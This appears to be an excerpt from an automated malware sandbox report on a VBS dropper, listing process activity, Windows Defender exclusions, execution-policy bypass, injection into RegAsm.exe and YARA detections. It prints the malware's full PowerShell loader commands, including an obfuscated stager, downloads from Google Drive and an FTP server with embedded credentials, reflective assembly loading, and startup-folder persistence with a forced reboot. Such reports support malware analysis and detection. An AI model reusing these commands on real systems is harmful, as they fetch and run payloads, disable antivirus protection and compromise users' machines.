Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior

Source: powershell.exe, 00000004.00000002.3091395581.000001BDC851B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll0
Source: powershell.exe, 0000000D.00000002.2786504966.000001EB6578E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Yara detected Powershell download and execute

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 20_2_00434A8A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

20_2_00434A8A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

20_2_0041CBE1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 20_2_00443355 mov eax, dword ptr fs:[00000030h]

20_2_00443355

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 20_2_004120B2 GetProcessHeap,HeapFree,

20_2_004120B2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_0043503C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	20_2_0043503C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_00434A8A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	20_2_00434A8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_0043BB71 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	20_2_0043BB71
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_00434BD8 SetUnhandledExceptionFilter,	20_2_00434BD8

HIPS / PFW / Operating System Protection Evasion

Source: Yara match	File source: amsi64_6764.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1600, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6764, type: MEMORYSTR

Adds a directory exclusion to Windows Defender

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ;	Jump to behavior

Bypasses PowerShell execution policy

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -file "C:\Users\user\AppData\Local\Microsoft\LocalLow\System Update\\x2.ps1"

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 459000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 471000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 477000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 478000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 479000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 47E000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: C29008	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 459000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 471000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 477000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 478000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 479000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 47E000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: BE6008
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 459000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 471000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 477000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 478000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 479000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 47E000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 608008

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe

20_2_00412132

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 20_2_00419662 mouse_event,

20_2_00419662

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$qKKzc = 'OwB9' + [char]65 + 'Ds' + [char]65 + 'KQ' + [char]65 + 'g' + [char]65 + 'Ck' + [char]65 + 'I' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'EQ' + [char]65 + 'R' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'EQ' + [char]65 + 'Jw' + [char]65 + 'g' + [char]65 + 'Cw' + [char]65 + 'I' + [char]65 + 'BY' + [char]65 + 'F' + [char]65 + '' + [char]65 + 'VQB1' + [char]65 + 'Gg' + [char]65 + 'J' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'Cw' + [char]65 + 'I' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'Gg' + [char]65 + 'd' + [char]65 + 'B0' + [char]65 + 'H' + [char]65 + '' + [char]65 + 'cw' + [char]65 + '6' + [char]65 + 'C8' + [char]65 + 'LwB3' + [char]65 + 'Hc' + [char]65 + 'dw' + [char]65 + 'u' + [char]65 + 'Gc' + [char]65 + 'cgBh' + [char]65 + 'HQ' + [char]65 + 'aQB0' + [char]65 + 'HU' + [char]65 + 'Z' + [char]65 + 'Bl' + [char]65 + 'HM' + [char]65 + 'ZQBl' + [char]65 + 'Gs' + [char]65 + 'ZQBy' + [char]65 + 'HM' + [char]65 + 'LgBj' + [char]65 + 'G8' + [char]65 + 'bQ' + [char]65 + 'v' + [char]65 + 'Hc' + [char]65 + 'c' + [char]65 + '' + [char]65 + 't' + [char]65 + 'Gk' + [char]65 + 'bgBj' + [char]65 + 'Gw' + [char]65 + 'dQBk' + [char]65 + 'GU' + [char]65 + 'cw' + [char]65 + 'v' + [char]65 + 'GM' + [char]65 + 'dQBz' + [char]65 + 'HQ' + [char]65 + 'bwBt' + [char]65 + 'Gk' + [char]65 + 'egBl' + [char]65 + 'C8' + [char]65 + 'YwBz' + [char]65 + 'HM' + [char]65 + 'LwBi' + [char]65 + 'GQ' + [char]65 + 'LgB0' + [char]65 + 'Hg' + [char]65 + 'd' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'K' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'F0' + [char]65 + 'XQBb' + [char]65 + 'HQ' + [char]65 + 'YwBl' + [char]65 + 'Go' + [char]65 + 'YgBv' + [char]65 + 'Fs' + [char]65 + 'I' + [char]65 + '' + [char]65 + 's' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'b' + [char]65 + 'Bs' + [char]65 + 'HU' + [char]65 + 'bg' + [char]65 + 'k' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'K' + [char]65 + 'Bl' + [char]65 + 'Gs' + [char]65 + 'bwB2' + [char]65 + 'G4' + [char]65 + 'SQ' + [char]65 + 'u' + [char]65 + 'Ck' + [char]65 + 'I' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'Ek' + [char]65 + 'VgBG' + [char]65 + 'HI' + [char]65 + 'c' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'K' + [char]65 + 'Bk' + [char]65 + 'G8' + [char]65 + 'a' + [char]65 + 'B0' + [char]65 + 'GU' + [char]65 + 'TQB0' + [char]65 + 'GU' + [char]65 + 'Rw' + [char]65 + 'u' + [char]65 + 'Ck' + [char]65 + 'Jw' + [char]65 + 'x' + [char]65 + 'HM' + [char]65 + 'cwBh' + [char]65 + 'Gw' + [char]65 + 'Qw' + [char]65 + 'u' + [char]65 + 'DM' + [char]65 + 'eQBy' + [char]65 + 'GE' + [char]65 + 'cgBi' + [char]65 + 'Gk' + [char]65 + 'T' + [char]65 + 'Bz' + [char]65 + 'HM' + [char]65 + 'YQBs' + [char]65 + 'EM' + [char]65 + 'Jw' + [char]65 + 'o' + [char]65 + 'GU' + [char]65 + 'c' + [char]65 + 'B5' + [char]65 + 'FQ' + [ch	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $JwrAL = $host.Version.Major.Equals(2) ;if ( $JwrAL ) {$uVHrT = [System.IO.Path]::GetTempPath();del ( $uVHrT + '\Upwin.msu' );$FaqoI = 'https://drive.google.com/uc?export=download&id=';$jwEmr = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $jwEmr ) {$FaqoI = ($FaqoI + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$FaqoI = ($FaqoI + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$yfepp = (New-Object Net.WebClient);$yfepp.Encoding = [System.Text.Encoding]::UTF8;$yfepp.DownloadFile($URLKB, $uVHrT + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($uVHrT + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\SKMBT_77122012816310TD0128_17311_XLS.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$mjdqf = (New-Object Net.WebClient);$mjdqf.Encoding = [System.Text.Encoding]::UTF8;$mjdqf.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $mjdqf.DownloadString( 'ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter/01/DLL01.txt' );$mjdqf.dispose();$mjdqf = (New-Object Net.WebClient);$mjdqf.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $mjdqf.DownloadString( $lBCzSg );$huUPX = 'C:\Users\user\Desktop\SKMBT_77122012816310TD0128_17311_XLS.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '?:?' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.db/ssc/ezimotsuc/sedulcni-pw/moc.srekeesedutitarg.www//:sptth' , $huUPX , 'D DD' ) );};"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Comman ". 'C:\Users\user\AppData\Local\Microsoft\LocalLow\System Update\hwcrj.ps1' ";exit
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Comman ". 'C:\Users\user\AppData\Local\Microsoft\LocalLow\System Update\hwcrj.ps1' ";exit
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command "$qkkzc = 'owb9' + [char]65 + 'ds' + [char]65 + 'kq' + [char]65 + 'g' + [char]65 + 'ck' + [char]65 + 'i' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'eq' + [char]65 + 'r' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'eq' + [char]65 + 'jw' + [char]65 + 'g' + [char]65 + 'cw' + [char]65 + 'i' + [char]65 + 'by' + [char]65 + 'f' + [char]65 + '' + [char]65 + 'vqb1' + [char]65 + 'gg' + [char]65 + 'j' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'cw' + [char]65 + 'i' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'gg' + [char]65 + 'd' + [char]65 + 'b0' + [char]65 + 'h' + [char]65 + '' + [char]65 + 'cw' + [char]65 + '6' + [char]65 + 'c8' + [char]65 + 'lwb3' + [char]65 + 'hc' + [char]65 + 'dw' + [char]65 + 'u' + [char]65 + 'gc' + [char]65 + 'cgbh' + [char]65 + 'hq' + [char]65 + 'aqb0' + [char]65 + 'hu' + [char]65 + 'z' + [char]65 + 'bl' + [char]65 + 'hm' + [char]65 + 'zqbl' + [char]65 + 'gs' + [char]65 + 'zqby' + [char]65 + 'hm' + [char]65 + 'lgbj' + [char]65 + 'g8' + [char]65 + 'bq' + [char]65 + 'v' + [char]65 + 'hc' + [char]65 + 'c' + [char]65 + '' + [char]65 + 't' + [char]65 + 'gk' + [char]65 + 'bgbj' + [char]65 + 'gw' + [char]65 + 'dqbk' + [char]65 + 'gu' + [char]65 + 'cw' + [char]65 + 'v' + [char]65 + 'gm' + [char]65 + 'dqbz' + [char]65 + 'hq' + [char]65 + 'bwbt' + [char]65 + 'gk' + [char]65 + 'egbl' + [char]65 + 'c8' + [char]65 + 'ywbz' + [char]65 + 'hm' + [char]65 + 'lwbi' + [char]65 + 'gq' + [char]65 + 'lgb0' + [char]65 + 'hg' + [char]65 + 'd' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'c' + [char]65 + '' + [char]65 + 'k' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'f0' + [char]65 + 'xqbb' + [char]65 + 'hq' + [char]65 + 'ywbl' + [char]65 + 'go' + [char]65 + 'ygbv' + [char]65 + 'fs' + [char]65 + 'i' + [char]65 + '' + [char]65 + 's' + [char]65 + 'c' + [char]65 + '' + [char]65 + 'b' + [char]65 + 'bs' + [char]65 + 'hu' + [char]65 + 'bg' + [char]65 + 'k' + [char]65 + 'c' + [char]65 + '' + [char]65 + 'k' + [char]65 + 'bl' + [char]65 + 'gs' + [char]65 + 'bwb2' + [char]65 + 'g4' + [char]65 + 'sq' + [char]65 + 'u' + [char]65 + 'ck' + [char]65 + 'i' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'ek' + [char]65 + 'vgbg' + [char]65 + 'hi' + [char]65 + 'c' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'c' + [char]65 + '' + [char]65 + 'k' + [char]65 + 'bk' + [char]65 + 'g8' + [char]65 + 'a' + [char]65 + 'b0' + [char]65 + 'gu' + [char]65 + 'tqb0' + [char]65 + 'gu' + [char]65 + 'rw' + [char]65 + 'u' + [char]65 + 'ck' + [char]65 + 'jw' + [char]65 + 'x' + [char]65 + 'hm' + [char]65 + 'cwbh' + [char]65 + 'gw' + [char]65 + 'qw' + [char]65 + 'u' + [char]65 + 'dm' + [char]65 + 'eqby' + [char]65 + 'ge' + [char]65 + 'cgbi' + [char]65 + 'gk' + [char]65 + 't' + [char]65 + 'bz' + [char]65 + 'hm' + [char]65 + 'yqbs' + [char]65 + 'em' + [char]65 + 'jw' + [char]65 + 'o' + [char]65 + 'gu' + [char]65 + 'c' + [char]65 + 'b5' + [char]65 + 'fq' + [ch
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "; $jwral = $host.version.major.equals(2) ;if ( $jwral ) {$uvhrt = [system.io.path]::gettemppath();del ( $uvhrt + '\upwin.msu' );$faqoi = 'https://drive.google.com/uc?export=download&id=';$jwemr = $env:processor_architecture.contains('64') ;if ( $jwemr ) {$faqoi = ($faqoi + '1naqdnxigvi_q1rpkazftmygmaqtjxu42') ;}else {$faqoi = ($faqoi + '1g1jmxusx9mc9vmhvrjj2xofz3ak_clot') ;};$yfepp = (new-object net.webclient);$yfepp.encoding = [system.text.encoding]::utf8;$yfepp.downloadfile($urlkb, $uvhrt + '\upwin.msu');$mynkz = ('c:\users\' + [environment]::username );riwcg = ($uvhrt + '\upwin.msu'); powershell.exe wusa.exe riwcg /quiet /norestart ; copy-item 'c:\users\user\desktop\skmbt_77122012816310td0128_17311_xls.vbs' -destination ( $mynkz + '\appdata\roaming\microsoft\windows\start menu\programs\startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[system.net.servicepointmanager]::servercertificatevalidationcallback = {$true};[system.net.servicepointmanager]::securityprotocol = [system.net.securityprotocoltype]::tls12;$lbczsg;$mjdqf = (new-object net.webclient);$mjdqf.encoding = [system.text.encoding]::utf8;$mjdqf.credentials = new-object system.net.networkcredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578jp@@');$lbczsg = $mjdqf.downloadstring( 'ftp://desckvbrat1@ftp.desckvbrat.com.br/upcrypter/01/dll01.txt' );$mjdqf.dispose();$mjdqf = (new-object net.webclient);$mjdqf.encoding = [system.text.encoding]::utf8;$lbczsg = $mjdqf.downloadstring( $lbczsg );$huupx = 'c:\users\user\desktop\skmbt_77122012816310td0128_17311_xls.vbs';[byte[]] $acbcz = [system.convert]::frombase64string( $lbczsg.replace( '?:?' , 'a' ) );[system.appdomain]::currentdomain.load( $acbcz ).gettype('classlibrary3.class1').getmethod( 'prfvi' ).invoke( $null , [object[]] ( 'txt.db/ssc/ezimotsuc/sedulcni-pw/moc.srekeesedutitarg.www//:sptth' , $huupx , 'd dd' ) );};"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command "$qkkzc = 'owb9' + [char]65 + 'ds' + [char]65 + 'kq' + [char]65 + 'g' + [char]65 + 'ck' + [char]65 + 'i' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'eq' + [char]65 + 'r' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'eq' + [char]65 + 'jw' + [char]65 + 'g' + [char]65 + 'cw' + [char]65 + 'i' + [char]65 + 'by' + [char]65 + 'f' + [char]65 + '' + [char]65 + 'vqb1' + [char]65 + 'gg' + [char]65 + 'j' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'cw' + [char]65 + 'i' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'gg' + [char]65 + 'd' + [char]65 + 'b0' + [char]65 + 'h' + [char]65 + '' + [char]65 + 'cw' + [char]65 + '6' + [char]65 + 'c8' + [char]65 + 'lwb3' + [char]65 + 'hc' + [char]65 + 'dw' + [char]65 + 'u' + [char]65 + 'gc' + [char]65 + 'cgbh' + [char]65 + 'hq' + [char]65 + 'aqb0' + [char]65 + 'hu' + [char]65 + 'z' + [char]65 + 'bl' + [char]65 + 'hm' + [char]65 + 'zqbl' + [char]65 + 'gs' + [char]65 + 'zqby' + [char]65 + 'hm' + [char]65 + 'lgbj' + [char]65 + 'g8' + [char]65 + 'bq' + [char]65 + 'v' + [char]65 + 'hc' + [char]65 + 'c' + [char]65 + '' + [char]65 + 't' + [char]65 + 'gk' + [char]65 + 'bgbj' + [char]65 + 'gw' + [char]65 + 'dqbk' + [char]65 + 'gu' + [char]65 + 'cw' + [char]65 + 'v' + [char]65 + 'gm' + [char]65 + 'dqbz' + [char]65 + 'hq' + [char]65 + 'bwbt' + [char]65 + 'gk' + [char]65 + 'egbl' + [char]65 + 'c8' + [char]65 + 'ywbz' + [char]65 + 'hm' + [char]65 + 'lwbi' + [char]65 + 'gq' + [char]65 + 'lgb0' + [char]65 + 'hg' + [char]65 + 'd' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'c' + [char]65 + '' + [char]65 + 'k' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'f0' + [char]65 + 'xqbb' + [char]65 + 'hq' + [char]65 + 'ywbl' + [char]65 + 'go' + [char]65 + 'ygbv' + [char]65 + 'fs' + [char]65 + 'i' + [char]65 + '' + [char]65 + 's' + [char]65 + 'c' + [char]65 + '' + [char]65 + 'b' + [char]65 + 'bs' + [char]65 + 'hu' + [char]65 + 'bg' + [char]65 + 'k' + [char]65 + 'c' + [char]65 + '' + [char]65 + 'k' + [char]65 + 'bl' + [char]65 + 'gs' + [char]65 + 'bwb2' + [char]65 + 'g4' + [char]65 + 'sq' + [char]65 + 'u' + [char]65 + 'ck' + [char]65 + 'i' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'ek' + [char]65 + 'vgbg' + [char]65 + 'hi' + [char]65 + 'c' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'c' + [char]65 + '' + [char]65 + 'k' + [char]65 + 'bk' + [char]65 + 'g8' + [char]65 + 'a' + [char]65 + 'b0' + [char]65 + 'gu' + [char]65 + 'tqb0' + [char]65 + 'gu' + [char]65 + 'rw' + [char]65 + 'u' + [char]65 + 'ck' + [char]65 + 'jw' + [char]65 + 'x' + [char]65 + 'hm' + [char]65 + 'cwbh' + [char]65 + 'gw' + [char]65 + 'qw' + [char]65 + 'u' + [char]65 + 'dm' + [char]65 + 'eqby' + [char]65 + 'ge' + [char]65 + 'cgbi' + [char]65 + 'gk' + [char]65 + 't' + [char]65 + 'bz' + [char]65 + 'hm' + [char]65 + 'yqbs' + [char]65 + 'em' + [char]65 + 'jw' + [char]65 + 'o' + [char]65 + 'gu' + [char]65 + 'c' + [char]65 + 'b5' + [char]65 + 'fq' + [ch	Jump to behavior
